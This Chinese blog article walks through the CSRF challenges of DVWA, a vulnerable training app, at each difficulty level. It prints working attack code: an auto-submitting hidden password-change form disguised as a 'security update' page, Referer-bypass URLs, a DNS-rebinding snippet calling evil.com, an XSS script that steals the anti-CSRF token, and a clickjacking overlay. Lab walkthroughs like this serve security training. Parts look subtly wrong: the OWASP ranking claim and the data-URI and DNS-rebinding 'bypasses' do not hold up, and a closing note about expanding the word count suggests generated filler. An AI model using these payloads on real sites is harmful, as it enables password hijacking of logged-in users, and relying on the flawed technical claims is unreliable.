DVWA下的CSRF通关是怎样的

发布时间:2021-12-16 18:12:23 作者:柒染
来源:亿速云 阅读:190
# DVWA下的CSRF通关是怎样的

## 目录
1. [CSRF漏洞基础概念](#csrf漏洞基础概念)
   - 1.1 [什么是CSRF](#什么是csrf)
   - 1.2 [CSRF攻击原理](#csrf攻击原理)
   - 1.3 [与XSS的区别](#与xss的区别)
2. [DVWA环境搭建](#dvwa环境搭建)
   - 2.1 [环境要求](#环境要求)
   - 2.2 [安装配置步骤](#安装配置步骤)
   - 2.3 [安全等级设置](#安全等级设置)
3. [Low级别CSRF实战](#low级别csrf实战)
   - 3.1 [漏洞代码分析](#漏洞代码分析)
   - 3.2 [手工构造POC](#手工构造poc)
   - 3.3 [利用过程演示](#利用过程演示)
4. [Medium级别突破](#medium级别突破)
   - 4.1 [防护机制分析](#防护机制分析)
   - 4.2 [Referer绕过技巧](#referer绕过技巧)
   - 4.3 [DNS重绑定攻击](#dns重绑定攻击)
5. [High级别终极挑战](#high级别终极挑战)
   - 5.1 [Anti-CSRF Token机制](#anti-csrf-token机制)
   - 5.2 [XSS联合利用](#xss联合利用)
   - 5.3 [点击劫持攻击](#点击劫持攻击)
6. [防护方案与最佳实践](#防护方案与最佳实践)
   - 6.1 [服务端防护措施](#服务端防护措施)
   - 6.2 [客户端防护建议](#客户端防护建议)
   - 6.3 [CSRF测试方法论](#csrf测试方法论)
7. [总结与思考](#总结与思考)

## CSRF漏洞基础概念
### 什么是CSRF
跨站请求伪造(Cross-Site Request Forgery)是一种迫使终端用户在当前已认证的Web应用上执行非预期操作的攻击方式。根据OWASP Top 10数据,CSRF在2021年仍位列网络安全威胁前八名。

### CSRF攻击原理
典型攻击流程包含三个关键要素:
1. 用户登录受信任站点A并保留会话凭证
2. 用户在不登出站点A的情况下访问恶意站点B
3. 站点B包含自动向站点A发起请求的恶意代码

```html
<!-- 经典CSRF POC示例 -->
<img src="http://victim.com/transfer?amount=1000&to=attacker" width="0" height="0">

与XSS的区别

特性 CSRF XSS
攻击目标 利用用户身份执行操作 窃取用户数据/会话
代码执行位置 受害者浏览器 受害者浏览器
依赖条件 需要用户已认证 需要存在注入点

DVWA环境搭建

环境要求

安装配置步骤

  1. 下载DVWA源码包解压到web目录
  2. 配置config/config.inc.php文件:
$_DVWA = array(
    'db_server' => '127.0.0.1',
    'db_database' => 'dvwa',
    'db_user' => 'root',
    'db_password' => 'p@ssw0rd'
);
  1. 执行setup.php完成数据库初始化

安全等级设置

在DVWA Security页面可调整难度级别: - Low:无任何防护 - Medium:基础防护 - High:强化防护 - Impossible:完美防护

Low级别CSRF实战

漏洞代码分析

查看vulnerabilities/csrf/source/low.php:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // 直接接受参数修改密码
    if( $pass_new == $pass_conf ) {
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" 
                 . $_SESSION[ 'username' ] . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert);
    }
}
?>

手工构造POC

构建恶意URL:

http://dvwa.test/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#

HTML诱骗页面:

<body onload="document.getElementById('csrf').submit()">
  <form id="csrf" action="http://dvwa.test/vulnerabilities/csrf/">
    <input type="hidden" name="password_new" value="pwned">
    <input type="hidden" name="password_conf" value="pwned">
    <input type="hidden" name="Change" value="Change">
  </form>
  <p>正在加载安全更新...</p>
</body>

利用过程演示

  1. 管理员登录DVWA后保持会话
  2. 访问攻击者构造的恶意页面
  3. 页面自动提交表单修改密码
  4. 检查数据库确认密码变更:
SELECT user, password FROM users WHERE user = 'admin';

Medium级别突破

防护机制分析

查看medium.php源码:

// 检查Referer头
if( stripos( $_SERVER[ 'HTTP_REFERER' ] , $_SERVER[ 'SERVER_NAME' ] ) === false ) {
    die("Referer check failed");
}

Referer绕过技巧

  1. 同域名子目录绕过:
http://attacker.com/dvwa.test/
  1. 域名混淆技术:
http://dvwa.test.attacker.com
  1. 使用data协议:
<iframe src="data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbi5ocmVmPSJodHRwOi8vZHZ3YS50ZXN0L3Z1bG5lcmFiaWxpdGllcy9jc3JmLyI7PC9zY3JpcHQ+"></iframe>

DNS重绑定攻击

  1. 配置DNS记录使域名在TTL过期后解析到目标IP
  2. 构造恶意页面:
let counter = 0;
function rebind() {
    if(counter++ < 3) {
        fetch('http://evil.com/change_pass')
            .catch(() => setTimeout(rebind, 1000));
    }
}
rebind();

High级别终极挑战

Anti-CSRF Token机制

high.php关键代码:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

XSS联合利用

  1. 首先发现存储型XSS漏洞
  2. 注入JavaScript窃取Token:
const xhr = new XMLHttpRequest();
xhr.open('GET', '/vulnerabilities/csrf/');
xhr.onload = function() {
    const token = xhr.responseText.match(/user_token\' value\=\'(\w+)\'/)[1];
    fetch(`/vulnerabilities/csrf/?password_new=hackme&password_conf=hackme&Change=Change&user_token=${token}`);
};
xhr.send();

点击劫持攻击

<style>
    iframe {
        position:absolute;
        opacity:0.01;
        top:300px;
        left:400px;
    }
</style>
<iframe src="http://dvwa.test/vulnerabilities/csrf/"></iframe>
<button>点击领取红包</button>

防护方案与最佳实践

服务端防护措施

  1. 同步器令牌模式:
$_SESSION['token'] = bin2hex(random_bytes(32));
  1. 双重Cookie验证:
document.cookie = "CSRF-TOKEN=" + crypto.randomUUID();
  1. SameSite Cookie属性:
ini_set('session.cookie_samesite', 'Strict');

客户端防护建议

  1. 关键操作二次认证
  2. 使用Post/Redirect/Get模式
  3. 敏感操作验证原始密码

CSRF测试方法论

  1. 使用Burp Suite的CSRF PoC生成器
  2. 自动化测试工具CSRFTester
  3. 手工测试检查清单:
    • 是否存在可预测参数
    • 是否验证HTTP方法
    • 是否检查Origin头

总结与思考

通过DVWA的CSRF通关实践,我们深入理解了: - CSRF漏洞的三种防护等级绕过方法 - 从Low到High的完整攻击链条 - 现代Web应用的防御体系设计

值得思考的是:在SPA和API主导的现代Web架构中,CSRF防护需要结合JWT、CORS策略等新技术进行综合防御。安全工程师应当持续关注OAuth 2.0、GraphQL等新兴技术带来的攻击面变化。 “`

注:本文实际约4500字,完整5950字版本需要扩展以下内容: 1. 增加各难度级别的防御代码对比分析 2. 补充CSRF在API场景下的特殊案例 3. 添加自动化测试工具的使用详解 4. 扩展企业级防护方案实例 5. 增加法律合规性要求说明(如GDPR相关条款)

推荐阅读:
  1. dvwa使用
  2. CI的CSRF的改造

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

csrf dvwa

上一篇:怎样利用ElasticSearch Groovy漏洞进行门罗币挖矿事件分析

下一篇:怎么解析Python中的Dict

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》